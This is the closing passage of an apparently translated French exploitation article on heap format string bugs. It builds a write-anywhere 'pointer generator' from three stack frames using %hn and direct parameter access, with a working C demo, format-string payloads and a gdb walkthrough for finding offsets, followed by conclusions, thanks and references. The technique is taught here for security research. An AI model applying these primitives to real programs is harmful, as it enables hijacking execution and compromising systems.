     Cadre A          Cadre B          Cadre C          Cadre D

  Le cadre A a un pointeur vers le cadre B. En fait, il pointe vers l'ebp
du cadre B. Donc, nous pouvons modifier le LSB de l'epb de B, avec un %hn.
Et c'est ce dont nous avons besoin ! Maintenant, le cadre B ne pointe plus
vers le cadre C, mais vers le MSB de l'epb du cadre D.

  Nous utilisons le fait qu'ebp pointe déjà dans la pile, et que ne changer
que ses 2 LSB sera suffisant pour le faire pointer vers une autre
sauvegarde d'ebp. Il peut y avoir quelque problème avec ça (si le cadre D
n'est pas sur le même "segment" de 64K que le cadre C), mais nous les
supprimerons dans les exemples suivants.

  Donc, avec 4 cadres, nous pouvons construire un pointeur dans la pile,
avec ce pointeur, nous pouvons écrire 2 octets n'importe où en mémoire. Si
nous avons 8 cadres, nous pouvons répéter la technique et construire deux
pointeurs dans la pile, nous permettant d'écrire 4 octets n'importe où en
mémoire.

--[ 9.2. Septième exemple - le générateur de pointeur

  Il y a des cas où vous n'avez pas 8 (ni 4) cadres. Que pouvons-nous y
faire ? Et bien, en utilisant l'accès directe aux paramètre, nous pourions
utiliser uniquement 3 cadres pour tout faire, et pas seulement une
primitive "écrire 4 octets arbitraires n'importe où", mais quasiment une
primitive "écrire n'importe quoi n'importe où".

  Voyons comment on peut le faire, en usant (et abusant) de l'accès direct
aux paramètres, pour écrire l'adresse 0xdfbfddf0 dans la pile, et pouvoir
l'utiliser ensuite avec un autre %hn et y écrire.

Étape 1 :

  Le pointeur de cadre sauvegardé (l'ebp sauvegardé) du cadre B pointe déjà
vers l'ebp sauvegardé de C, donc, la première chose à faire est de changer
le LSB du cadre de C :

         [ LSB | MSB ] ---> [ LSB | MSB ] ---> [ LSB | MSB ]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Cadre A            Cadre B            Cadre C

  Puisqu'on sait où est le cadre B dans la pile, nous pourrions utiliser
l'accès direct pour accéder au paramètre qu'on a changé... et pas qu'une
seule fois. Plus loins, nous allons voir comment trouver le nombre exact à
utiliser pour l'accès direct, pour l'instant, admettons que pour le cadre
B, c'est 14.

                 # première étape
    '%.56816u' + # change la longueur (on veut écrire 0xddf0)
    '%14$hn'   + # écrit où le 14ème paramètre pointe
                 # (le 14ème, c'est l'ebp du cadre B)

  On récupère alors un ebp du cadre C modifié.

Étape 2 :

         [ LSB | MSB ] ---> [ LSB | MSB ] ---> [ ddf0| MSB ]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Cadre A            Cadre B            Cadre C

  Comme l'ebp du cadre A pointe déjà vers l'ebp du cadre B, nous pouvons
l'utiliser pour changer le LSB de l'ebp du cadre B, et comme il pointe vers
le LSB de l'ebp du cadre C, nous pouvons le faire pointer vers le MSB de
l'ebp du cadre D. Nous n'auront pas le problème des segments de 64K cette
fois-ci, car le LSB de l'ebp du cadre D doit être dans le même segment que
son MSB, puisqu'on aligne toujours sur 4 octets... Je sais, c'est assez
déroutant...

  Par exemple, si le cadre C est en 0xdfbfdd6c, nous voudrons faire pointer
l'epb du cadre B vers 0xdfbfdd6e, pour pouvoir écrire le MSB de la cible.

                # étape 2
    '%.65406u'+ # on veut écrire 0xdd6e (65406 = 0x1dd6e-0xddf0)
    '%6$hn'   + # on écrit où le 6ème paramètre pointe
                # (e nadmettant que l'ebp du cadre A soit en 6ème)

Étape 3 :
                                            +----------+
                                            |          V
         [ LSB | MSB ] ---> [ dd6e| MSB ] --+  [ ddf0| MSB ]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Cadre A            Cadre B            Cadre C

Le nouveau cadre B pointe vers le MSB de la sauvegarde de l'ebp du cadre C.
Et maintenant, avec un autre accès direct, nous écrivons le MSB de
l'adresse qu'on voulait.

                # étape 3
    '%.593u'  + # on veut écrire 0xdfbf (593 = 0xdfbf - 0xdd6e)
    '%14$n'   + # on l'écrit où pointe le 14ème paramètre
                # (le 14ème, c'est l'ebp de B)


Notre résultat :
                                            +----------+
                                            |          V
         [ LSB | MSB ] ---> [ dd6e| MSB ] --+  [ ddf0| dfbf]
         [           ]      [           ]      [           ]
         [           ]      [           ]      [           ]
         [   ...     ]      [    ...    ]      [    ...    ]
            Cadre A            Cadre B            Cadre C

  Comme on peut le voir, nous avons notre pointeur dans l'ebp du cadre C,
maintenant, nous pouvons l'utiliser pour écrire 2 octets n'importe où en
mémoire. Ça ne sera pas suffisant pour faire un exploit, mais on pourrait
ré-utiliser le même truc, UTILISER CES 3 CADRES ENCORE UNE FOIS pour
construire un autre pointeur (et encore, et encore ...)

  Hey, on a trouvé un générateur de pointeurs :-) avec seulement 3 cadres.

  Vous avez compris la théorie ? Mettons tout ça ensemble dans un exemple.

  Le code suivant utilise trois cadres (A,B,C) et l'accès direct aux
paramètres pour écrire la valeur 0xaabbccdd à l'adresse 0xdfbfddf0. Il a
été testé sous OpenBSD 3.0, et peut être testé sous d'autres systèmes. On
va vous montrer ici comment tunner votre box.

  /* fs2.c                                                   *
   * programme d'exemple pour montrer les techniques de      *
   * chaines de format.                                      *
   * Spécialement conçu pour nourir votre cerveau par        *
   * gera@corest.com                                         */

  do_printf(char *msg) {
    printf(msg);
  }
  
  #define FrameC 0xdfbfdd6c
  #define counter(x)      ((a=(x)-b),(a+=(a<0?0x10000:0)),(b=(x)),a) 
  
  char *write_two_bytes(
      unsigned long where, 
      unsigned short what, 
      int restoreFrameB)
  {
    static char buf[1000]={0};    // enough? sure!  :) 
    static int a,b=0;
  
    if (restoreFrameB)
      sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff)));
    sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where & 0xffff));
    sprintf(buf, "%s%%.%du%%6$hn" , buf, counter((FrameC & 0xffff) + 2));
    sprintf(buf, "%s%%.%du%%14$hn", buf, counter(where >> 0x10));
    sprintf(buf, "%s%%.%du%%29$hn", buf, counter(what));
    return buf;
  }
  
  int main() {
    char *buf;
    buf = write_two_bytes(0xdfbfddf0,0xccdd,0);
    buf = write_two_bytes(0xdfbfddf2,0xaabb,1);
    do_printf(buf);
  }

  Les valeurs que vous devrez changer sont les suivantes :

    %6$         numéro du paramètre pour l'ebp du cadre A
    %14$        numéro du paramètre pour l'ebp du cadre B
    %29$        numéro du paramètre pour l'ebp du cadre C
    0xdfbfdd6c  adresse de l'ebp du cadre C

  Pour avoir les bonnes valeurs :

gera@vaiolent> cc -o fs fs.c
gera@vaiolent> gdb fs
(gdb) br do_printf
(gdb) r
(gdb) disp/i $pc
(gdb) ni
(gdb) p "à faire jusqu'à vous trouviez le premier appel à do_printf"
(gdb) ni
1: x/i $eip  0x17a4 <do_printf+12>:     call   0x208c <_DYNAMIC+140>
(gdb) bt
#0  0x17a4 in do_printf ()
#1  0x1968 in main ()
(gdb) x/40x $sp
0xdfbfdcf8:     0x000020d4      0xdfbfdd70      0xdfbfdd00      0x0000195f
0xdfbfdd08:     0xdfbfddf2      0x0000aabb     [0xdfbfdd30]--+ (0x00001968)
0xdfbfdd18:     0x000020d4      0x0000ccdd      0x00000000   |  0x00001937
0xdfbfdd28:     0x00000000      0x00000000   +-[0xdfbfdd6c]<-+  0x0000109c
0xdfbfdd38:     0x00000001      0xdfbfdd74   |  0xdfbfdd7c      0x00002000
0xdfbfdd48:     0x0000002f      0x00000000   |  0x00000000      0xdfbfdff0
0xdfbfdd58:     0x00000000      0x0005a0c8   |  0x00000000      0x00000000
0xdfbfdd68:     0x00002000     [0x00000000]<-+  0x00000001      0xdfbfddd4
0xdfbfdd78:     0x00000000      0xdfbfddeb      0xdfbfde04      0xdfbfde0f
0xdfbfdd88:     0xdfbfde50      0xdfbfde66      0xdfbfde7e      0xdfbfde9e

  Ok, il est temps de trouver les bonnes valeurs. D'abord, 0x1968 (d'après
la commande "bt"), c'est où do_printf() va retourner après avoir terminé,
trouvez-le dans la pile (dans cet exemple, en 0xdfbfdd14). Le mot précédent
est où le cadre A commence, et c'est où l'ebp du cadre A est sauvegardé,
voici le 0xdfbfdd30.

  Super ! maintenant nous avons besoin du nombre pour l'accès direct, donc,
comme on a exécuté jusqu'à l'appel, le premier mto dans la pile est le
premier argument à printf (numéroté 0), si vous comptez, en commencant à 0,
jusqu'à l'ebp du cadre A, vous compterez 6 mots, c'est le numéro qu'on
cherche.

  Maintenant, trouvez où l'ebp du cadre A pointe, c'est l'epb du cadre B,
ici 0xdfbfdd6c. Comptez les mots, vous trouverez 14, la deuxième valeur
qu'on avait besoin. Cool, maintenant, l'ebp sauvegardé du cadre B pointe
vers l'ebp du cadre C, donc, nous avons encore une valeur nécessaire ;
0xdfbfdd6c. Et pour récupérer le dernier nombre dont on avait besoin, vous
allez encore une fois devoir compter, jusqu'à avoir l'ebp du cadre C
(comptez jusqu'à l'adresse 0xdfbfdd6c), vous devriez trouver 29.

  Maintenant, éditez fs.c, compilez-le, lancez-el dans gdb, exécutez
jusqu'après l'appel (un "ni" de plus que l'exemple ci-dessus), et après
beaucoup de 0, finalement :

(gdb) x/x 0xdfbfddf0
0xdfbfddf0:     0xaabbccdd

  Ça semble avoir marché après tout :-)

  Il y a des variantes intéressantes. Dans cet exemple, printf() n'est pas
appelée dans le main(), mais dans do_printf(). C'est un artefact pour
pouvoir avoir 3 cadres, mais vous pourriez avori la même chose en utilisant
argv et *argv, puisque les seules choses vraiment nécessaires sont des
pointeurs vers la pile, pointant vers un autre pointeur dans la pile.

  Une autre méthode intéressante (probablement plus intéressante que la
méthode originale), est de cibler, non pas un pointeur de fonction, mais
une adresse de retour dans la pile. Cette méthode sera un peu plus courte
(juste %hn par entier court à écrire, et ça ne nécessite que deux cadres),
beaucoup d'adresses peuvent être brute forcées en une seule fois, et bien
sûr, vous pourriez utiliser un jmpcode si vous voulez.

  Cette fois, nous allons terminer ici l'expérimentation avec ces deux
variantes (et d'autres) au lecteur.

  Il est évident, qu'avec cette technique sous i386, le cadre B casse le
chainage des cadres, et donc, si le programme que vous exploitez a besoin
du cadre C, il va segfaulter, vous aurez donc besoin de détourner le flux
d'exécution avant le crash.

--[ 10. Conclusions

--[ 10.1. Est-ce dangereux d'écraser l0 (dans un cadre de pile) ?

  Ce n'est pas parfait, mais la pratique nous a montré que vous n'aurez pas
beaucoup de problème en changeant la valeur de l0. Mais, si vous êtes
malchanceux, vous pourriez préférer modifier le l0 du cadre du main() et du
_start().

--[ 10.2. Est-ce dangereux d'écraser ebp (dans un cadre) ?

  Oui, c'est très dangereux. Votre programme va probablement crasher. Mais
comme on l'a dit, vous pouvez restaurer sa valeur initiale en utilisant le
générateur de pointeurs :-) Et dans le cas de SPARC, vous pourriez préferer
de modifier l'ebp des cadres de main(), _start(), ...

--[ 10.3. Est-ce fiable ?

  Si vous connaissez l'état de la pile, ou si vous connaissez la taille des
cadres dans la pile, c'est fiable. Sinon, à moins que la situation vous
permette d'implémenter une manière légère de brute forcer tous les numéros
nécessaire, cette technique ne vous sera pas très utile.

  Quand vous avez à écraser des valeurs à des adresses qui comportent des
zéros, je pense que cette technique est votre seul espoir, puis que ne
pourrez pas mettre un zéro dans votre chaine (car ça va vous la tronquer).

  En plus, sous SPARC, la PLT du binaire se trouve dans les adresses basses
et est plus sûre à écraser que la PLT de la libc. Pourquoi ? Parce que, je
trouve, la libc Solaris a des changements plus fréquement que le binaire
que vous exploitez. Et le binaire que vous voulez exploiter ne changera
probablement jamais.

--[ The End
--[ 11. Remerciements

  gera:

    riq, pour avoir tenté toutes les idées stupides que j'ai eu et les
    avoir réussies !

    juliano, notre gourou des chaines de format.

    Impact, pour m'obliger à réfléchir sur toutes ces choses fabuleuses.

    Post Scriptum : je viens juste d'apprendre l'existance d'une librairie
appelée fmtgen, écrite par stiqz.. C'est une librairie de construction de
chaines de format et elle peut être utilisée (d'après son Readme), pour
écrire des jumpcodes ou des shellcodes, ainsi que des adresses. Ce sont les
dernières lignes que j'ajoute à l'article, j'espère que j'aurai un peu de
temps pour l'étudier, mais nous sommes pressés, vous savez :-)

  riq:

    gera, pour avoir trouvé comment exploiter une chaine dans le tas
    sous i386, pour ses idées, suggestions et corrections.

    juliano, pour m'avoir dit que je pouvais écraser, autant de fois
    que je veux, une adresses en utilisant l' "accès direct", et
    d'autres trucs sur les chaines de format.

    javier, pour m'avoir aidé avec SPARC.

    bombi, pour avoir fait de son mieux pour corriger mon anglais.

    et bruce, pour avoir corrigé mon anglais aussi.

--[ 12. Références

[1] Exploiting Format String Vulnerability, de scut.
    Mars 2001. http://www.team-teso.net/articles/formatstring

[2] w00w00 on Heap Overflows, Matt Conover (shok) et w00w00 Security Team.
    Janvier 1999. http://www.w00w00.org/articles.html

[3] badc0ded de Juliano
    http://community.corest.com/~juliano

[4] Google the oracle.
    http://www.google.com

|=[ EOF ]=---------------------------------------------------------------=|